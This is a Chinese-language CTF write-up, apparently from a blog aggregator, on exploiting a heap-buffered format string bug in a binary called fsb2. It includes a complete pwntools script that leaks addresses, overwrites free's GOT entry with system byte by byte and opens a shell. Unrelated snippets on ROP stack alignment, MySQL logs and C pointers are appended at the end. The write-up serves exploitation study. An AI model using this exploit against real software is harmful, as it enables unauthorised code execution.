瞅瞅檢查
開了nx、canary跟pie。
relro沒有開,可以考慮劫持got表。
進去是個迴圈
裡面是個格式化字串漏洞。
因為它開的空間是堆上的,所以常規棧上的格式化字串漏洞不能用。
非棧上的格式化字串漏洞
非棧上的格式化字串漏洞的話,先在printf處下斷點。
總體思路
滿足利用要求的三個指標分別在printf第10、16、20個引數的位置。該程式在迴圈執行20次輸入、輸出前申請了乙個記憶體塊,用於存放輸入的字串,迴圈結束後會釋放掉這個記憶體然後退出程式。我們將0x7ffffffee080處的值修改為got表中free函式的位址,再將其中的函式指標改為system函式的位址,這樣在執行free函式時,實際執行的就是system,只要輸入『/bin/sh』就可以拿到shell。
具體實現
先洩露棧位址,elf程式位址,libc位址,分別在棧上找到偏移,然後洩露出來。
因為我們輸入的東西在堆上,所以不能通過常規的寫入got表位址然後劫持,只能先把位址寫在棧上,然後劫持。
在棧上寫位址的時候又要注意,不能直接寫,因為要寫的位址是乙個大數字,不能一下寫進去,printf的緩衝區開不了那麼大,所以只能乙個位元組乙個位元組寫。
假設我們現在能控制棧裡面的三個地方,分別是p1,p2,p3,p1裡面放著p2,p2裡面放著p3,p3裡面放著乙個我們要替換的位址,我們需要講p3中的位址覆蓋成free_got,那麼我們需要通過p2寫,但是需要乙個位元組乙個位元組寫,所以需要修改p2,那麼就需要p1來修改p2,從而達到乙個鏈。
往free_got中寫system乙個道理,鏈q1是p2,q2對應p3,free_got對應p3。
from pwn import
*p=process(
'./fsb2'
)libc = elf(
'./libc-2.27.so'
)elf = elf(
'./fsb2'
)p.recvuntil(
'name:'
)p.sendline(
'%10$p%11$p%21$p'
)p.recvuntil(
'0x'
)stack_addr =
int(p.recvuntil(
'0x')[
:-2]
,16)addr1 =
int(p.recvuntil(
'0x')[
:-2]
,16)base = addr1 - elf.symbols[
'vuln']-
0x3f
addr2 =
int(p.recvuntil(
'\n')[
:-1]
,16)libc_base = addr2 - libc.symbols[
'__libc_start_main']-
0xe7
p1 = stack_addr-
48p2 = stack_addr
p3 = stack_addr+
32free_got = base + elf.got[
'free'
]system = libc_base + libc.symbols[
'system'
]#overwrite p3 to free_got
for i in
range(0
,6):
x =5-i
off =
(p3+x)
&0xff
p.recvuntil(
'name'
) p.sendline(
"%"+
str(off)
+"c%10$hhn"
+'\x00'*50
) ch =
(free_got>>
(x*8))
&0xff
p.recvuntil(
'name'
) p.sendline(
"%"+
str(ch)
+"c%16$hhn"
+'\x00'*50
)#overwrite free_got to system
for i in
range(0
,6):
off =
(free_got+i)
&0xff
p.recvuntil(
'name'
) p.sendline(
"%"+
str(off)
+"c%16$hhn"
+'\x00'*50
) ch =
(system>>
(i*8))
&0xff
p.recvuntil(
'name'
) p.sendline(
"%"+
str(ch)
+"c%20$hhn"
+'\x00'*50
)for i in
range(30
-25):
p.recvuntil(
'name'
) p.sendline(
'/bin/sh'
+'\x00'
*100
)p.interactive(
)
buuoj 第六章 CTF之PWN章 ROP
保護。啥沒有。在除錯過程中發現最後會出問題,然後gdb.attach貼上以後開始調。這個地方卡住是因為沒有棧對齊,你可以看到此時rsp是78,但是他要求16位對齊,最後得是0,所以需要在system位址前面加上個ret。具體的看下面的wp expfrom pwn import context.log...
mysql第六章 第六章 mysql日誌
第六章 mysql日誌 一 錯誤日誌 錯誤日誌的預設存放路徑是 mysql 存放資料的地方 hostname.err 1.修改錯誤日誌存放路徑 mysqld log error data mysql mysql.log 2.檢視配置命令 show variables like log error 3...
第六章 指標
1.多位元組資料的位址是在最左邊還是最右邊的位置,不同的機器有不同的規定,這也正是大端和小端的區別,位址也要遵從邊界對齊 2.高階語言的乙個特性就是通過名字而不是位址來訪問記憶體的位置,但是硬體仍然通過位址訪問記憶體位置 3.記憶體中的變數都是義序列的0或1的位,他們可以被解釋為整數或者其他,這取決...